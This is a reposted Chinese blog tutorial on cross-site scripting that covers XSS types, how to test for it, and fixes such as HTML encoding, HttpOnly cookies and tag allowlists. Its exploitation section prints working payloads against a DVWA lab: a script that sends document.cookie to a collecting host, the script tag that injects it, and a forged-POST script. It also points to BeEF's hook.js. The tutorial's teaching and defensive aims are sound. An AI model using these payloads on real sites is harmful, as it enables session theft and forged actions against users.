zoukankan      html  css  js  c++  java
  • 转:XSS知识大总结

    转:https://www.jianshu.com/p/75a3d9332b8c

    XSS知识大总结

    2016.10.28 21:05* 字数 1332 阅读 961评论 2

    XSS-即Cross Site Scripting. 为了与"CSS"不混淆,故简称XSS.

     
    Hacker

    一、XSS形成原理及分类

    • XSS本质:系统将用户输入的脚本代码(JS, Flash script)执行了,违背了原本接收数据的本意。从而造成了一些违背系统愿意的后果。
    • XSS根本原因:系统没有对用户输入数据进行编码,转义,过滤限制等处理。
    • XSS三类:
      先说下浏览器与服务器架构层次:***User - IE(Chrome) - Java/PHP/Python - DB ***
      • 反射型:非持久型,在上面的四层架构中,用户使用浏览器,然后浏览器发送请求到服务器后台的Java或者PHP,或者Python,然后服务器逻辑程序返回响应结果,传送到客户端浏览器显示。
      • 存储型:持久型,在上面四层架构中,用户使用浏览器发送请求到服务器,应用逻辑向数据库存取数据,(XSS代码存储在DB中),再经过应用程序发送响应传送到浏览器显示。
      • DOM-Based型:非持久型,在上面的四层架构中,只涉及用户浏览器,变化只发生在客户端的JS与HTML之间。不涉及服务器交互。

    二、XSS如何测试

    因为XSS形成的原因是系统未对用户输入数据进行处理,直接记录在系统内,又因为前端代码在浏览器可见,所以应该很容易想到直接输入特殊字符“<'>/"&”,然后查看网页源代码,看自己输入的字符显示的是否是经过处理后的。如果没有转义,编码,那么可以断定该页面存在XSS漏洞。
    之所以测试这6个字符是否被编码,是因为这6个字符如果未被编码,未被转义,那么系统就很容易存在html标签被闭合,插入类似“<script>脚本”的问题,那么就存在着极大的XSS漏洞风险,容易被非法用户利用。

    三、XSS如何修复

    • (1)编码:
      从上面的问题就可以得知,如果经测试存在XSS漏洞,则说明系统未对用户输入数据进行编码转义,那么相应的作为安全人员,就应该给开发人员通知,改进相应的模块,加入对用户输入数据编码过滤处理的逻辑,从而修复漏洞。一般来说,对用户输入的数据,尤其是这6个字符:>'&/<",具体编码目标格式应结合具体情况而定,对相应数据进行HtmlEncode,JavascriptEncode,URLEncode,甚至对CSS里的数据运行相应的OWASP ESAPI中的encodeForCSS()函数。具体用哪一种编码方式,需要看系统将数据输出显示在哪个位置,是JS里,是HTML里,还是CSS里。
      举例来说,如果是HTML编码,相应的,应该对这6个编码为:
    标签HtmlEncode
    < ** &lt;**
    > &gt;
    & &amp;
    " &quot;
    ' &#x27;
    / &#x2F;
    • (2)小而有用策略
      因为有利用XSS截取Cookie的,所以可以将cookie标记为httponly,这样JS不能获取,也可以将cookie与客户端的IP绑定,从而就算盗取也没用。
    • (3)黑白名单过滤输入
      因为<script>等标签对于留言板,评论等内容来说,很容易存在XSS注入,所以设置白名单,只允许信任的标签输入,类似:<a>,<img>,<div>等。优先选择白名单策略,因为黑名单可能会漏掉一些可能的注入情况,当然白名单也不是万无一失,需要定期更新排查。

    四、XSS如何如何利用,有哪些利用方式?

    • (1)窃取cookie,直接登录用户账户(cookie欺骗);
    • cookie窃取,一般是利用存储型漏洞,利用代码如下:
      (代码目录)127.0.0.1/evil/evil.js Payload代码如下:
    var img = document.createElement("img");
    img.src = "http://127.0.0.2:2000/cookie/"+escape(document.cookie);
    document.body.appendChild(img);
    

    则在留言板中嵌入代码为:

    <script src="http://127.0.0.1/evil/evil.js"></script>
    
    • 当然cookie获取需要自己在服务器接受数据,开启路径接收请求:


       
      后台接收路径

      接收结果:


       
      cookie窃取结果
    • (2)伪造请求,用JS模拟用户发送post/get请求,自动删除信息,自动发消息等;
      "Code目录127.0.0.1/evil/hack_post.js" :

    var url = "http://127.0.0.1/dvwa/vulnerabilities/xss_s/"
    var postdata = "txtName=Hacker&mtxMessage=Hacker+is+coming,+I+am+Liuning.&btnSign=Sign+Guestbook";  // post数据格式与get一样
    
    var xmlhttp = null;
    if(window.XMLHttpRequest){
        xmlhttp = new XMLHttpRequest();
    }
    else if(window.ActiveXObject){
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    if(xmlhttp!=null){
        xmlhttp.open("POST", url, true)
        xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
        xmlhttp.send(postdata)
    }
    else{
        alert("Your browser dosn't support XMLHttpRequest.")
    }
    xmlhttp.onreadystatechange = function(){
        if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
            alert("Hack 2 success!");
        }
    }
    

    面板注入代码:

     
    注入XSS

    刷新结果:注入成功!
     
    post请求伪造,每次刷新弹出success,多条记录
    • (3)钓鱼:(用一个假页面或弹窗伪造真实应用,欺骗用户账号密码)

    五、XSS利用工具:BEFF,POC

    Beff相关内容可以安装Kali(Debian发行版)系统,一应相关安全利用工具都随系统安装完善。
    Kali系统的相关工具类似Beff,提供的是现成的XSS脚本,如默认的"127.0.0.1:3000/hook.js",直接将这个链接注入到面板中就好。即工具的作用是不用自己写注入脚本(Payload)了。

  • 相关阅读:
    HUD--2553 N皇后问题
    poj--2139
    poj--2236
    poj--2229
    poj--2376 Cleaning Shifts
    poj--3669
    poj--1979 Red and Black
    poj--1258
    经典DP问题--poj1088滑雪
    Poj 1041--欧拉回路
  • 原文地址:https://www.cnblogs.com/studyskill/p/8674579.html
Copyright © 2011-2022 走看看